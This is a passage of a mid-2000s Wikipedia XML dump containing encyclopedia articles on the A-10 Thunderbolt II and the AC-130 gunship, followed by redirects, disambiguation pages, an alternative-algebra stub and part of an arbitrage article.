The A-10 was developed in response to the increasing vulnerability of ground attack-planes as evidence by the large number that were shot down  to small arms fire, surface-to-air missiles, and low level anti-aircraft gunfire druing the Vietnam War. This led to a need for a specialized, heavily armed, heavily armored aircraft. Previous aircraft used in the CAS mission had been bombers or fighters pressed into the job.

On [[6 March]] [[1967 in aviation|1967]] the US Air Force released a request for information to 21 companies. Their objective was to create a design study for a low cost attack aircraft designated A-X, or &quot;Attack Experimental&quot;. In May [[1970 in aviation|1970]], the USAF issued a modified, yet much more detailed request for proposals (RFP). Six companies submitted contestants to the USAF, with [[Northrop]] and [[Fairchild-Republic]]  selected to build prototypes: the [[Northrop YA-9|YA-9A]] and YA-10A, respectively. 

First flight of the A-10 was in May [[1972 in aviation|1972]]. After trials and a flyoff against the A-9, the Air Force selected Fairchild-Republic's A-10 as the winner on [[10 January]] [[1973 in aviation|1973]]. The first production A-10 flew in October [[1975 in aviation|1975]], and deliveries to the Air Force commenced in March [[1976 in aviation|1976]]. The first squadron to use the A-10 went operational in October [[1977 in aviation|1977]]. 715 aircraft were produced, ending in [[1984 in aviation|1984]]. One experimental two-seat version was built.

==Description==
[[Image:Thunderbolt - Formation.jpg|thumb|left|300px|Four A-10 Thunderbolt IIs fly in formation during a refueling mission.]]

===Features===
The A-10/OA-10 has excellent maneuverability at low speeds and altitude, thanks to wide, straight wings. These also allow short takeoffs and landings, permitting operations from airfields near front lines. The plane can loiter for extended periods of time and operate under 1,000 foot (300 m) ceilings with 1.5-mile (2.4 km) visibility. It can fly at a relatively slow speed of 200 mph (320&amp;nbsp;km/h), which makes it better at ground-attack than fast [[fighter-bomber]]s, which often have difficulty targeting small and slow-moving targets.

The 'Warthog' is exceptionally hardy, with a strong airframe that can survive direct hits from armor-piercing and high-explosive projectiles up to 23mm. The aircraft has triple redundancy in its flight systems, with mechanical systems to back up double-redundant [[Hydraulics|hydraulic]] systems. This permits pilots to fly and land when hydraulic power or part of a wing is lost. The aircraft is  designed to fly with one engine and a wing torn off. Self-sealing fuel tanks are protected by fire-retardant foam.

The cockpit and parts of the flight-control system are protected by 900 pounds (400 kg) of [[titanium]] [[armor]], referred to as a &quot;titanium bathtub.&quot; Its engine exhaust passes over the aircraft's [[Stabilizer (aircraft)|horizontal stabilizer]] and between the [[twin tail]]s, decreasing the A-10's infrared signature and lowering the likelihood that the aircraft can be targeted by heatseeking missiles. The placement of the engines partially shields them from anti-aircraft fire behind the wings and tail. The A-10 can fly even after the loss of one side of the tail, 2/3 of a single wing, and one engine.

The Thunderbolt II can be serviced and operated from bases with limited facilities near battle areas. An unusual feature is that many of the aircraft's parts are interchangeable between the left and right sides, including the engines, main [[landing gear]], and vertical stabilizers. A built-in ladder allows the pilot to enter or exit the aircraft without assistance. The sturdy landing gear, low-pressure tires and large, straight wings allow operation from short rough strips even with a heavy ordnance load. These also allow the aircraft to operate from damaged airbases. The aircraft is designed to be re-fueled, re-armed, and serviced with minimal equipment. Operating from a forward area is both useful for close air support and necessary due to the A-10's relatively low cruise and top speeds. 

Although the A-10 can carry a considerable weight of disposable stores, its primary built-in weapon is the 30&amp;nbsp;mm [[GAU-8 Avenger|GAU-8/A Avenger]] [[Gatling gun]]. One of the most powerful aircraft cannon ever flown, it fires large, [[depleted uranium]] armor-piercing shells at a rate of 4,200 rounds per minute. The massive shells and high muzzle velocity allow the Avenger to destroy heavily armored [[main battle tank]]s in as little as 6 direct hits. The gun is accurate as well, capable of placing 80% of its shots within a 30 ft. wide circle from a distance of 1 mile while the aircraft is in flight. The chassis of the plane is actually built around the gun. 

Despite the power of the GAU-8, the principal weapon of the A-10 is the [[AGM-65 Maverick]] air-to-surface missile, with electro-optical targeting. The Maverick allows targets to be engaged at much greater ranges than the cannon, a safer proposition in the face of modern anti-aircraft systems. Other weapons include [[cluster bomb]]s and rocket pods. Although the A-10 is equipped to deliver conventional and [[laser-guided bomb]]s, their use is relatively uncommon. A-10s usually fly with an [[Electronic countermeasures|ECM pod]] under one wing and two [[AIM-9 Sidewinder]] [[air-to-air missile]]s under the other for self-defense.

===Criticisms===
The A-10 has been criticized for its minimal avionics fit. It was originally intended purely for close air support, for which it was felt that complex electronics would be unnecessary (and would have an undesirable effect on serviceability and cost). Initial fit provided basic communications, a [[RWR|radar-warning system]], and [[TACAN]] navigation, early aircraft lacking even an [[autopilot]]. As [[United States Air Force|USAF]] emphasis shifted towards the anti-armor role, presumably in a conflict with the [[Warsaw Pact]] in Western [[Europe]], where weather is frequently poor, there was pressure for improved sensors and electronics. Fairchild-Republic offered a two-seat NAW (Night and Adverse Weather) variant beginning in 1977, but it was not adopted. Aircraft were eventually upgraded with [[inertial navigation]] and a [[Pave Penny]] laser sensor (marked target seeker) pod that allowed the pilot to detect laser energy for PID (Positive Identification) of an illuminated target. The Pave Penny is a passive seeker and cannot self-designate a target for an LGB (Laser Guided Bomb). However, the A-10 can drop LGBs with the the help of another aircraft (Buddy-Lase) or, when equipped with a targeting pod, Self-Lase.

The A-10 also initially lacked systems to compute target range or impact points, greatly limiting its ability to deliver weapons other than cannon and rocket fire (in direct, visual-range attacks) or the self-guided [[AGM-65 Maverick]] missile, whose own sensors displayed imagery in the A-10's cockpit. Often times this small monitor would provide the only source of imagery for missions that took place in dark environments. Much later in the 'Warthog's' career, the Low-Altitude Safety and Targeting Enhancement (LASTE) upgrade provided computerized weapon-aiming equipment, an autopilot, and ground-collision warning system. The A-10 is now compatible with [[night-vision]] goggles for low-light operation. In 1999, aircraft began to be given [[Global Positioning System]] navigation systems.

[[Image:A-10_Thunderbolt_flight.jpg|thumb|left|200px|An A-10 Thunderbolt in flight]]

==Operational service==
[[Image:Usaf.thunderbolt2.750pix.jpg|thumb|right|An A-10 Thunderbolt II in flight fully loaded with armaments]]

The first unit to receive the A-10 Thunderbolt II was the [[355th Tactical Training Wing]], based at [[Davis-Monthan Air Force Base]], Arizona in March [[1976 in aviation|1976]].

A-10s were initially an unwelcome addition to the arsenal in the eyes of Air Force brass. The Air Force prized the high-flying, high-performance [[F-15]] and [[F-16]] jets, and were determined to leave the dirty work of close air support to Army [[helicopters]].

The planes proved their mettle in the [[Persian Gulf War]] in 1991, destroying more than 1,000 tanks, 2,000 military vehicles and 1,200 artillery pieces. Five A-10s were shot down during the war (a number of those by [[ZSU-23-4 Shilka|ZSU-23-4 Shilka]]), far fewer than military planners expected. A-10s had a mission capable rate of 95.7 percent, flew 8,100 sorties and launched 90 percent of the [[AGM-65 Maverick]] missiles.

In the 1990s many A-10s were shifted to the &quot;[[forward air control]] (FAC)&quot; role and redesignated O/A-10. In the FAC role the 'Warthog' is typically equipped with up to six pods of 5 inch (127&amp;nbsp;mm) Zuni rockets, usually with smoke or [[white phosphorus]] warheads used for target marking. They remain fully combat capable despite the redesignation.

A-10s again saw service in the 1999 [[Kosovo War]], in later stages of the 2001 [[U.S. invasion of Afghanistan|invasion of Afghanistan]] from an air base at [[Bagram]], including [[Operation Anaconda]] in March 2002, and in the [[2003 Iraq War|2003 Iraq war]].  Sixty A-10s were deployed in Iraq; one was shot down near [[Baghdad International Airport]] by Iraqi fire late in the campaign.

A-10 pilots have been involved in a number of notorious '[[friendly fire]]' incidents.  In the [[Gulf War]] of 1991 an A-10 attacked two [[British Army]] [[Warrior Tracked Armoured Vehicle|Warrior Infantry Fighting Vehicles]] (out of 37 parked up), killing nine soldiers. Two [[FV107 Scimitar|British Scimitar]] armoured reconnaissance vehicles were attacked by an A-10 in the [[2003 invasion of Iraq|Iraq War]] of 2003.  They were also involved in a friendly fire incident with a U.S. Marine [[Amphibious Assault Vehicle]] at the Battle of Nasiriyah during the opening stages of [[Operation Iraqi Freedom|Operation IRAQI FREEDOM]].

The A-10 is scheduled to stay in service with the USAF until 2028, when it may be replaced by the [[F-35 Joint Strike Fighter|Joint Strike Fighter]]. Beginning in 2005 the entire A-10 fleet is being  upgraded to the &quot;C&quot; model that will include improved FCS, ECM, and the ability to carry smart bombs. However, the A-10 could stay in service indefinitely due to both its low cost and its unique capabilities which the Joint Strike Fighter simply cannot incorporate such as its cannon, ruggedness, and slow flying capabilities.

==Nicknames==
====Friendly Forces====
The A-10 Thunderbolt II received the nickname &quot;[[Warthog]]&quot; and dates back to Fairchild-Republic's initial deliveries. The name was derived from the report of the main gun, which has a surprisingly low pitch and sounds much like the snorting or grunting of a hog. This coupled with the A-10's lack of aesthetics and &quot;thick skin&quot; earned it the nickname &quot;[[Warthog]]&quot;.

====Enemy Forces====
During Desert Storm, captured Iraqi soldiers referred to A-10 as 'the silent gun'.  The rounds hit their target before the target heard the report of the gunfire.

==Trivia==
The [[GAU-8/A 30mm Avenger Cannon|GAU-8 Avenger cannon]] is said to produce almost the same amount of force as one of the A-10's engines, leading to a persistent military legend that if enough bullets could be carried and fired in a long burst, the plane would stop flying (or move backwards, in some versions of the legend). Using the specs from the [http://www.gdatp.com/products/lethality/gau-8a/gau-8.htm GAU-8/A product homepage], the recoil force of the GAU-8/A is measured to an average of 10,000 [[pound-force|lbf]] (45 kN). While the recoil force is considerable, the cannon is employed only in short bursts to protect the barrel cluster from overheating. Even if both engines were stopped and the jet was gliding unpowered, firing the cannon will not bring it to a stop in midair, only slow it down much in the same manner as if an airbrake was deployed.

Of further note on the impressive cannon recoil force, the A-10's nosewheel gear assembly is situated in the less than optimal off-centre-line position (immediately starboard of the gun). This design feature was necessary to accommodate the GAU-8 in the centre-line position as off-centre placement would result in potentially catastrophic yaw forces on firing the cannon.

The A-10 was the inspiration for the [[COBRA Rattler]] aircraft seen in the 1980s cartoon series GI Joe, as well as the [[Autobots|Autobot]] [[Powerglide (Transformers)|Powerglide]] in the [[The Transformers]].

==Specifications (A-10 Thunderbolt II)==
[[Image:Thunderbolt_II_flight.jpg|thumb|320px|Two A-10 Thunderbolts in flight]]

* Date deployed: March 1976
* Unit cost: US$9.8 million 
* Inventory: active force, A-10, 143 and OA-10, 70; reserve, A-10, 46 and OA-10, 6; ANG, A-10, 84 and OA-10, 18

{{airtemp|

&lt;!-- if you do not understand how to use this template, please ask at [[Wikipedia talk:WikiProject Aircraft]] --&gt;
&lt;!-- please answer the following questions --&gt;
|plane or copter?=plane
|jet or prop?=jet

&lt;!-- Now, fill out the specs.  Please include units where appropriate (main comes first, alt in parentheses). 
If an item doesn't apply, like capacity, leave it blank. For additional lines, end your alt units with a right paranthesis &quot;)&quot; and start a new, fully-formatted line --&gt;

|crew=One
|span main=57 ft 6 in
|span alt=17.53 m
|length main=53 ft 4 in
|length alt=16.26 m
|height main=14 ft 8 in
|height alt=4.47 m
|area main=506 ft²
|area alt=47.0 m²
|airfoil=[[NACA airfoil|NACA 6716]] / NACA 6713
|empty weight main= 24,959 lb
|empty weight alt=11,321 kg
|loaded weight main=30,384 lb; [[Close air support|CAS]] mission 47,094 lb; anti-armour mission 42,071 lb; ferry: 49,774 lb
|loaded weight alt=13,782 kg; CAS mission 21,361 kg; anti-armour mission 19,083 kg; ferry 22,577 kg
|max takeoff weight main=50,000 lb
|max takeoff weight alt=22,680 kg
|engine (jet)=[[General Electric TF34]]-GE-100A
|type of jet=turbofans
|number of jets=2
|thrust main=9,065 lbf
|thrust alt=40.32 kN
|max speed main=381 kt; 380 kt at 5,000 ft with six [[Mk 82]] bombs
|max speed alt=706 km/h; 704 km/h at 1,500 m with six Mk 82 bombs
|never exceed speed main=450 kt
|never exceed speed alt=834 km/h
|cruise speed main=300 kt
|cruise speed alt=555 km/h
|climb rate main=6,000 ft/min
|climb rate alt=30 m/s
|ceiling main=45,000 ft
|ceiling alt=13,700 m
|range main=Anti-armour configuration, 30 min combat, 40 nm sea-level penetration and exit: 252 nm; CAS configuration, 1.88 h single-engine loiter at 5,000 ft, 10 min combat: 250 nm; ferry range, 50 kt (90 km/h) headwinds, 20 min reserve: 2,240 nm
|range alt=Anti-armour, 30 min combat, 75 km sea-level penetration and exit: 267 km; CAS, 1.88 h single-engine loiter at 1,500 m, 10 min combat: 460 km; ferry 4,150 km
|loading main=99 lb/ft&amp;sup2;
|loading alt=482 kg/m&amp;sup2;
|thrust/weight=0.36
|armament=
[[Image:A10_gun.jpg|right|thumb|250px|GAU-8 Avenger]]
* 1x 30 mm [[GAU-8 Avenger|GAU-8/A Avenger]] seven-barrel [[Gatling gun]] with 1,350 rounds. The standard ammunition is a four-to-one mixture of armor-piercing depleted-uranium rounds and high-explosive incendiary rounds.
* 8x underwing and 3x under-fuselage pylon stations holding 16,000 lb (7,300 kg) housing:
**[[Mark 82 bomb|Mk 82]], [[Mark 83 bomb|Mk 83]], and [[Mark 84 bomb|Mk 84]] [[general-purpose bomb]]s
**'''BLU-1''', '''BLU-27/B Rockeye II''' and '''CBU-52/71''' [[cluster bomb|cluster bombs]]
**[[GBU-10]] Paveway II, [[GBU-16]] [[Paveway]] II, [[GBU-24]] [[Paveway]] III,  and [[GBU-12]] Paveway II [[Laser-Guided Bombs]]
**[[AGM-65 Maverick]] and [[AIM-9 Sidewinder]] [[Missiles]]
**[[LAU-68 Hydra 70 mm]] and 127 mm rocket pods
**Illumination flares, [[Electronic countermeasures|ECM]] and [[chaff]] pods
**[[ALQ-131]] [[ECM]]pod
}}

(Spick, 2000, p. 21).

__FORCETOC__

[[Image:thunderbolt.a10.fairford.arp.jpg|thumb|right|250px|81st Fighter Squadron Thunderbolt]]
[[Image:thunderbolt.a10.closeup.fairford.arp.jpg|thumb|right|250px|Thunderbolt  closeup]]

==References==
* Spick, M. ''The Great Book of Modern Warplanes'', Salamander Books, 2000. ISBN 1840651563

==External links==
* http://www.af.mil/factsheets/factsheet.asp?fsID=70
* http://www.a-10.org/
* http://globalsecurity.org/military/systems/aircraft/a-10.htm
* http://www.globalsecurity.org/military/systems/aircraft/a-10-history.htm
* http://www.fas.org/man/dod-101/sys/ac/a-10.htm

==Related content==
{{Commons|A-10 Thunderbolt II}}
{{aircontent|

|related=

|similar aircraft=
&lt;!-- aircraft with similar role, era, and capability --&gt;
* [[Sukhoi Su-25]]

|sequence=
* [[A-7 Corsair II|A-7]] - [[AV-8 Harrier|AV-8]] - [[Northrop YA-9|YA-9]] - '''A-10''' - [[A-12 Avenger II|A-12]]

|lists=
&lt;!-- lists of similar aircraft (aircraft from the same nation, with the same mission profile, etc.) --&gt;
* [[List of attack aircraft]]
* [[List of military aircraft of the United States]]

|see also=
* [[A-10 Thunderbolt II in popular culture]]

}}

[[Category:Anti-tank aircraft]]
[[Category:U.S. attack aircraft 1970-1979]]

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  </page>
  <page>
    <title>A-10 Warthog</title>
    <id>3154</id>
    <revision>
      <id>15901517</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[A-10 Thunderbolt II]]
</text>
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  </page>
  <page>
    <title>Lockheed AC-130</title>
    <id>3155</id>
    <revision>
      <id>41446919</id>
      <timestamp>2006-02-27T10:49:12Z</timestamp>
      <contributor>
        <username>Apyule</username>
        <id>103276</id>
      </contributor>
      <comment>/* Civilian casualties and controversy */ remove contradictory statement</comment>
      <text xml:space="preserve">__NOTOC__
[[Image:AC-130.jpg|250px|right|thumb|An AC-130, illustrating the port-side armament.]]

The '''AC-130 Gunship''' is an armed variant of the [[Lockheed Corporation|Lockheed]] [[C-130 Hercules]]. Manufacturing is a cooperation between [[Boeing]] and [[Lockheed Corporation|Lockheed]].
 
The primary missions of the [[United States Air Force]]'s '''AC-130H Spectre''' and '''AC-130U Spooky''' [[gunship]]s are [[close air support]], [[air interdiction]], and force protection. Missions in close air support are troops in contact, [[convoy]] [[escort]] and urban operations. Air interdiction missions are conducted against planned targets or targets of opportunity. Force protection missions include [[air base]] [[Defense (military)|defense]] and facilities defense.
 
==Equipment==
 
These heavily armed aircraft incorporate side-firing weapons integrated with sophisticated sensor, navigation and fire control systems to provide targeted firepower or area saturation whilst spending long periods flying over their target area at [[night]] and in adverse [[weather]]. The sensor suite consists of a [[television]] sensor, [[infrared]] sensor, and [[radar]]. These sensors allow the gunship to visually or electronically identify friendly ground forces and targets in most conditions. The AC-130U is equipped with the [[AN/APQ-180]], a [[synthetic aperture radar]] for long-range target detection and identification. The gunship's navigational devices include the [[inertial navigation]] systems and [[global positioning system]]. The AC-130U employs technologies developed in the [[1990 in aviation|1990s]] and can attack two targets simultaneously. It also has twice the [[munitions]] capacity of the AC-130H.

==History==
[[Image:AC-130 firing night.gif|right|250px|thumb|Weapons fire during a night mission.]]
* '''First flight:''' AC-130H: [[1966 in aviation|1966]] ''' (AC-130U: [[20 December]] [[1990 in aviation|1990]])
* '''Entered service:''' AC-130H: [[1972 in aviation|1972]]  (AC-130U: [[1995 in aviation|1995]])

The AC-130 gunship has a combat history dating to the [[Vietnam War]], where it replaced the [[AC-47 Spooky|AC-47]] and the [[AC-119 gunship|AC-119]]. Gunships destroyed more than 10,000 trucks and were credited with many crucial close air support missions. During [[Invasion of Grenada|Operation Urgent Fury]] in [[Grenada]] in [[1983 in aviation|1983]], AC-130s suppressed enemy air defense systems and attacked ground forces enabling the successful assault of the Point Salines Airfield via [[airdrop]] and air land of friendly forces. The AC-130 aircrew earned the [[Lt. Gen. William H. Tunner Award]] for the mission.
 
AC-130s also had a primary role during [[Operation Just Cause]] in [[Panama]] in [[1989 in aviation|1989]] when they destroyed [[Military of Panama|Panama Defense Force]] headquarters and numerous command and control facilities. Aircrews earned the [[Mackay Trophy]] for the most meritorious flight of the year and the [[Tunner Award]] for their efforts.
 
During Operation [[Desert Storm]], AC-130s provided close air support and force protection (air base defense) for ground forces. Gunships were also used during operations [[Operation Restore Hope]] and [[United Shield]] in [[Somalia]], providing close air support for [[United Nations]] ground forces. More recently, gunships played a pivotal role in supporting the [[NATO]] mission in [[Bosnia-Herzegovina]]. The AC-130H provided air interdiction against key targets in the [[Sarajevo]] area.
 
In [[1997 in aviation|1997]], gunships were diverted from [[Italy]] to provide combat air support for U.S. and allied ground troops during the evacuation of American noncombatants in [[Albania]]. Gunships also were part of the buildup of U.S. forces in [[1998 in aviation|1998]] to convince [[Iraq]] to comply with U.N. weapons inspections. Gunships were later used in the [[U.S. invasion of Afghanistan]] and the [[2003 Iraq War]].
 
====Current deployment====
 
The AC-130H is produced at a cost of $132.4 million U.S. Dollars, and the AC-130U is produced at a cost of $190 million U.S. Dollars (fiscal [[2001 in aviation|2001]] constant dollars).  Currently there are eight AC-130H and thirteen AC-130U aircraft in active duty service.

The AC-130 gunship series is one of the most expensive aircraft ever made due to its unique nature.  In all deployments these aircraft are to be escorted by two [[F-15 Eagle]]s each, flying [[combat air patrol]] due to the value of both the aircraft and its mission.

==Civilian casualties and controversy==
 
The use of gunships in general and the AC-130 in particular has been controversial at times.  Although the onboard systems are effective at identifying targets, it is unable to reliably tell whether those targets are civilians or military.  Incidents of attacks on demonstrations[http://www.defenselink.mil/news/Apr2003/n04162003_200304161.html] and weddings[http://foi.missouri.edu/whistleblowing/uswarned.html] have been explained by celebratory firing of small-caliber weapons (e.g., [[AK-47]]s). Further, in combat areas such as [[Vietnam]], [[Afghanistan]] and [[Iraq]], fighters tend to be mixed with, or are in fact a part of the local population, often claimed to be a deliberate use of civilians as &quot;[[human shield]]s&quot;.  This intermingling of population with fighters means that attacks on military targets risk civilian casualties, since it is impossible to distinguish un-uniformed combatants from noncombatants.

The greater accuracy of attacks from the AC-130 has been claimed [http://www.csmonitor.com/2001/1019/p3s1-usmi.htm] to reduce accidental casualties compared to high-level bombing.

==Specifications (AC-130U)==
===General characteristics===
* '''Crew:''' 13
** '''5 Officers:''' pilot, copilot, navigator, fire control officer, electronic warfare officer
** '''8 Enlisted:''' flight engineer, TV operator, infrared detection set operator, loadmaster, four aerial gunners
* '''Length:'''  97 ft 9 in (29.8 m)
* '''Wingspan:'''   132 ft 7 in (40.4 m)
* '''Height:'''   38 ft 6 in (11.7 m)
* '''Wing area:'''   ft&amp;sup2; (m&amp;sup2;)
* '''Empty:'''    lb ( kg)
* '''Loaded:'''  lb (kg )
* '''Maximum takeoff:'''  155,000 lb (69,750 kg)
* '''Powerplant:''' 4x [[Allison T56]]-A-15 turboprops, 4,910 shaft hp (3,700 kW) each

===Performance===
* '''Maximum speed:'''  300 mph (483 km/h) Mach .4
* '''Range:'''  2,200 nautical miles (4,070 km) ('''AC-130H:''' 1,300 nautical miles (2,400 km))
* '''Service ceiling:'''   30,000 ft (9,144 m) ('''AC-130H:''' 25,000 ft (7,576 m))
* '''Rate of climb:'''   ft/min ( m/min)
* '''Wing loading:'''  lb/ft&amp;sup2; ( kg/m&amp;sup2;)
* '''Power/mass:'''

==Armament Configuration Breakdown (By Model)==

*'''AC-130A Project Gunship II'''
** 4x [[Minigun|7.62mm GAU-2/A Minigun]] (Fitted to MXU-470/A mounts)
** 4x [[M61 Vulcan|20mm M61 cannon]]

*'''AC-130A Surpise Package and Pave Pronto and AC-130E Pave Spectre'''
** 4x [[Minigun|7.62mm GAU-2/A Minigun]] (Fitted to MXU-470/A mounts)
** 2x [[M61 Vulcan|20mm M61 cannon]]
** 2x [[Bofors 40 mm gun|40mm L60 Bofors cannon]]

*'''AC-130E Pave Aegis and AC-130H Pave Spectre II'''
** 2x [[M61 Vulcan|20mm M61 cannon]]
** 1x [[Bofors 40 mm gun|40mm L60 Bofors cannon]]
** 1x [[M102 howitzer|105mm M102 howitzer]]

*'''AC-130U'''
** 1x [[GAU-12 Equalizer|25mm GAU-12/U]] [[Gatling gun]]
** 1x [[Bofors 40 mm gun|40mm L60 Bofors cannon]]
** 1x [[M102 howitzer|105mm M102 howitzer]]

A new program has been initiated to upgrade the armament of existing AC-130s still in service.  On the drawing board are plans to replace the GAU-12/U with a member of the Bushmaster family, whether it be an existing [[M242|25mm M242 cannon]] or a newer [[Bushmaster II]] or [[Bushmaster III]] cannon.  There are also plans to look into replacing the M102 howitzer with a breach loading 120mm mortar of some make and model, and also to give the AC-130 a standoff capability using either the [[AGM-114 Hellfire]] or [[Hydra 70|APKWS]].

==External links==
* [http://www.spectre-association.org/history/historySpectre.htm The history of the Gunship] from the Spectre Association website.
* [http://www.spectre-association.org/aircraft/listingsA.htm AC-130A aircraft names, tail numbers and current locations (if applicable)], also from the Spectre Association website. 
* [http://pubpages.unh.edu/~mwherold/AC130_Gunship.wmv Actual live-fire combat mission video (Afghanistan)] ([[WMV]] format)
* [http://www.af.mil/factsheets/factsheet.asp?fsID=71 Air Force Factsheet: the AC-130H/U GUNSHIP] on which this article was originally based.
* [http://www.fas.org/man/dod-101/sys/ac/ac-130.htm FAS.org: AC-130H Spectre/AC-130U Spooky]
* [http://www.centcom.mil/CENTCOMNews/Reports/Investigation_Oruzgan_Province.htm Executive summary from US investigation exonerating AC-130 crews who caused civilian casualties in Afghanistan]

==Related content==
'''Related development:''' [[Lockheed C-130 Hercules]]

'''Comparable aircraft:''' [[A-10 Thunderbolt II]]

'''Designation series:'''

'''See also:'''
* [[List of military aircraft of the United States]]
* [[List of Lockheed aircraft]]

{{airlistbox}}
 
[[Category:Vietnam War aircraft]]
[[Category:U.S. attack aircraft 1960-1969]]
[[Category:U.S. attack aircraft 1990-1999]]

[[de:Lockheed C-130#AC-130 Gunship]]</text>
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  </page>
  <page>
    <title>Albrecht Durer</title>
    <id>3156</id>
    <revision>
      <id>15901519</id>
      <timestamp>2003-01-22T14:26:11Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <minor />
      <comment>fix</comment>
      <text xml:space="preserve">#REDIRECT [[Albrecht Dürer]]</text>
    </revision>
  </page>
  <page>
    <title>Alternative</title>
    <id>3158</id>
    <revision>
      <id>41833230</id>
      <timestamp>2006-03-02T01:09:52Z</timestamp>
      <contributor>
        <ip>24.91.137.243</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|alternative}}

'''Alternative''' may refer to:

* [[Alternative rock]], a genre of music
* [[Alternative hip hop]], a genre of music
* [[Alternative algebra]], an abstract algebra with alternative multiplication
* [[Alternative comics]], one of several labels applied to a range of comics
* [[Alternative culture]], a variety of subcultures outside or on the fringes of so-called accepted mainstream culture
* [[Alternative dispute resolution]], processes and techniques outside the traditional mainstream of jurisprudence
* [[Alternative lifestyle]], a lifestyle that it is not within the generally perceived cultural norm
* [[Alternative media]], media practices falling outside the mainstreams of corporate communication
* [[Alternative medicine]], methods and practices used in place of, or in addition to, conventional medical treatments
* [[Alternative society]], alternative models for society and social change
* [[Christian alternative rock]], a form of alternative rock music lyrically grounded in a Christian worldview

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Alternative algebra</title>
    <id>3160</id>
    <revision>
      <id>37372788</id>
      <timestamp>2006-01-30T16:18:43Z</timestamp>
      <contributor>
        <username>Fredrik</username>
        <id>26675</id>
      </contributor>
      <comment>[[Emil Artin]] as originator of theorem (presumably)</comment>
      <text xml:space="preserve">In [[abstract algebra]], an [[algebra over a field|algebra]] is called '''alternative''' if (''xx'')''y''=''x''(''xy'') and ''y''(''xx'')=(''yx'')''x'' for all ''x'' and ''y'' in the algebra, that is, if the multiplication is [[alternativity|alternative]].

Equivalently, an algebra is alternative if and only if the [[subalgebra]] generated by any two of its elements is [[associative]]. The equivalence of the two definitions is known as '''Artin's theorem''', after [[Emil Artin]].

For any two elements ''x'' and ''y'' in an alternative algebra another simple identity holds: (''xy'')''x'' = ''x''(''yx''). This is called the ''flexible law''.

Every [[associative algebra]] is obviously alternative, but so too are some non-associative algebras such as the [[octonion]]s. The [[sedenion]]s are not alternative.

Alternativity in algebras is a condition weaker than associativity but stronger than [[power associativity]].

{{algebra-stub}}
[[Category:Nonassociative algebra]]
[[de:Alternativkörper]]
[[fr:alternativité]]
[[he:אלגברה אלטרנטיבית]]
[[it:Algebra alternativa]]</text>
    </revision>
  </page>
  <page>
    <title>Akira</title>
    <id>3161</id>
    <revision>
      <id>40023980</id>
      <timestamp>2006-02-17T15:57:22Z</timestamp>
      <contributor>
        <username>Ravn</username>
        <id>47881</id>
      </contributor>
      <comment>this is not a {{hndis}}, but a [[MoS:DP]]; {{disambig}}. The hndis should be at a different place, e.g. [[Akira (name)]]</comment>
      <text xml:space="preserve">'''Akira''' may refer to:
* [[Akira (film)]] - an [[anime]] film, or the main character in this film.
* [[Akira (manga)]] - a [[manga]] that the film was based on
* [[Akira (band)]] - a [[London]] three-piece [[alternative rock]]/[[post-rock]] band
* [[Akira class starship]] in the [[Star Trek]] [[fictional universe]]
* [[Akira (name)]], a female Scottish name, and a Japanese given name or surname.

{{disambig}}

[[Category:Japanese given names]]

[[de:Akira (Name)]]
[[fr:Akira]]
[[it:Akira]]
[[ja:アキラ]]</text>
    </revision>
  </page>
  <page>
    <title>Arbitrage</title>
    <id>3162</id>
    <revision>
      <id>42003700</id>
      <timestamp>2006-03-03T03:59:07Z</timestamp>
      <contributor>
        <username>Mark Meeker</username>
        <id>1020849</id>
      </contributor>
      <minor />
      <comment>Change ETF link to bypass disambiguation page</comment>
      <text xml:space="preserve">In [[economics]], '''arbitrage''' is the practice of taking advantage of a state of imbalance between two or more [[market]]s: a combination of matching deals are struck that exploit the imbalance, the profit being the difference between the [[market price]]s.  When used by academics, an arbitrage is a transaction that involves no negative cash flow at any probabilistic or temporal state and a positive cash flow in at least one state.  A person who engages in arbitrage is called an '''arbitrageur'''. The term is mainly applied to trading in [[financial instruments]], such as [[bond]]s, [[stock]]s, [[derivative (finance)|derivatives]] and [[currency|currencies]].

If the market prices do not allow for profitable arbitrage, the prices are said to constitute an '''arbitrage equilibrium'''. An arbitrage equilibrium is a precondition for a [[general equilibrium|general economic equilibrium]].

[[Statistical arbitrage]] is an imbalance in expected values.  A casino usually has a statistical arbitrage in every game of chance played, even though it could lose money on any single game.

== Conditions for arbitrage ==
Arbitrage is possible when one of three conditions is met:

#The same asset does not trade at the same price on all markets (&quot;the law of one price&quot;). 
#Two assets with identical cash flows do not trade at the same price.
#An asset with a known price in the future does not today trade at its future price [[discount | discounted]] at the [[risk-free interest rate]] (or, the asset does not have negligible costs of storage; as such, for example, this condition holds for grain but not for [[security (finance)|securities]]).

:See [[rational pricing]], particularly [[rational pricing#Arbitrage mechanics|arbitrage mechanics]], for further discussion.

== Examples ==
* Suppose that the [[exchange rate]]s (after taking out the fees for making the exchange) in London are £5 = $10 = ¥1000 and the exchange rates in Tokyo are ¥1000 = £6 = $10.  Converting $10 to £6 in Tokyo and converting that £6 into $12 in London, for a profit of $2, would be arbitrage.  In reality, this &quot;triangle arbitrage&quot; is so simple that it almost never occurs.  But more complicated foreign exchange arbitrages, such as the spot-forward arbitrage (see [[Interest Rate Parity]]) are much more common.

*One example of arbitrage involves the [[New York Stock Exchange]] and the [[Chicago Mercantile Exchange]]. When the price of a stock on the NYSE and its corresponding [[futures contract]] on the CME are out of sync, one can buy the less expensive one and sell the more expensive.  Because the differences between the prices are likely to be small (and not to last very long), this can only be done profitably with computers examining a large number of prices and automatically exercising a trade when the prices are far enough out of balance. The activity of other arbitrageurs can make this risky. Those with the fastest computers and the smartest mathematicians take advantage of series of small differentials that would not be profitable if taken individually.

*If you can buy items at one price at a [[factory outlet]] and sell them for a higher price on an internet [[auction]] [[website]] such as [[eBay]], you can exploit the imbalance between those two markets for those items.

*Economists use the term &quot;global labor arbitrage&quot; to refer to the tendency of manufacturing jobs to flow towards whichever country has the lowest wages per unit output at present and has reached the minimum requisite level of political and economic development to support [[industrialization]].  At present, many such jobs appear to be flowing towards [[People's Republic of China|China]], though some which require English are going to [[India]].

